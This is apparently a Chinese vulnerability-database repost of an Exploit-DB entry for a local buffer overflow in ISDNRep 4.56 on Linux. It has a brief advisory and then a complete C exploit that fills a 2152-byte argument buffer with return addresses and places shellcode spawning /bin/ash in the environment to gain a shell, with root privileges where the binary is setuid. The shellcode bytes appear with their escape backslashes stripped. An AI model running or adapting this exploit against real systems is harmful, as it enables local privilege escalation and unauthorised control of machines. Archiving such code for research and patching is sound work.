ISDNRep 4.56 – Command Line Argument Local Buffer Overflow (2)

ISDNRep 4.56 – Command Line Argument Local Buffer Overflow (2)

漏洞ID 1054009 漏洞类型
发布时间 2003-07-04 更新时间 2003-07-04
图片[1]-ISDNRep 4.56 – Command Line Argument Local Buffer Overflow (2)-安全小百科CVE编号 N/A
图片[2]-ISDNRep 4.56 – Command Line Argument Local Buffer Overflow (2)-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22863
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8100/info
 
isdnrep has been reported prone to a local command line argument buffer overflow vulnerability.
 
The issue presents itself due do a lack of sufficient bounds checking performed on user-supplied data that is copied from the command line into a reserved internal memory buffer. It is possible for a local attacker to influence the execution flow of isdnrep and have arbitrary operation codes executed in the context of the vulnerable application. Exploitation could permit privilege escalation on systems where the application is installed setuid/setgid.
 
It should be noted that although isdnrep version 4.56 has been reported vulnerable, other versions might also be vulnerable.

/*
 *  Author: snooq [http://www.angelfire.com/linux/snooq/]
 *  Date: 4 July 2003
 *
 *  This bug was just one of the bugs reported by
 *  Stx Security Labs. 
 *
 *  Their original posting can be found here:
 *
 *  http://www.static-x.org/downloads/code/5358isdnrape.c
 *	
 *  This is again a classical example of stack smashing.
 *  Exploitation is trivial and this code is done in just 
 *  a few minutes.
 *
 *  As usual, it is for educational purpose only. Not much
 *  profit to gain from this one as not many distro ships 
 *  it with 'suid' bit set.
 *
 */

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

#define BASE		0xbfffffff+1	/* 'Bottom' of stack   */		
#define BUFF_SIZE	2152		/* Number of bytes     */
#define SC_SIZE		sizeof(shellcode)	
#define PATH_SIZE	sizeof(PATH)	
#define PATH		"/usr/bin/isdnrep"

char shellcode[]=
        "xebx1fx5ex89x76x09x31xc0x88x46x08x89"
        "x46x0dxb0x0bx89xf3x8dx4ex09x8dx56x0d"
        "xcdx80x31xdbx89xd8x40xcdx80xe8xdcxff"
        "xffxff/bin/ash";

main() {
	
	char *env[2]={shellcode,NULL};
	char *buf, *ptr;
	long sc_addr;
	int i, buffsize=BUFF_SIZE; 

	if (!(buf=malloc(buffsize+1))) {
		printf("Can't allocate memory.n");
		exit(-1);
	}
	
	sc_addr=BASE-4-SC_SIZE-PATH_SIZE;

	ptr=buf;
	for(i=0;i<buffsize;i+=4) {
		*((long *)ptr)=sc_addr; 
		ptr+=4;
	}
	*ptr++=0;

	printf("shellcode is at: 0x%08xn",sc_addr);

	execle(PATH,"pine","-t",buf,NULL,env);
}

相关推荐: Windows NT CVE-1999-0285 Denial-Of-Service Vulnerability

Windows NT CVE-1999-0285 Denial-Of-Service Vulnerability 漏洞ID 1209195 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 1999-01-0…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享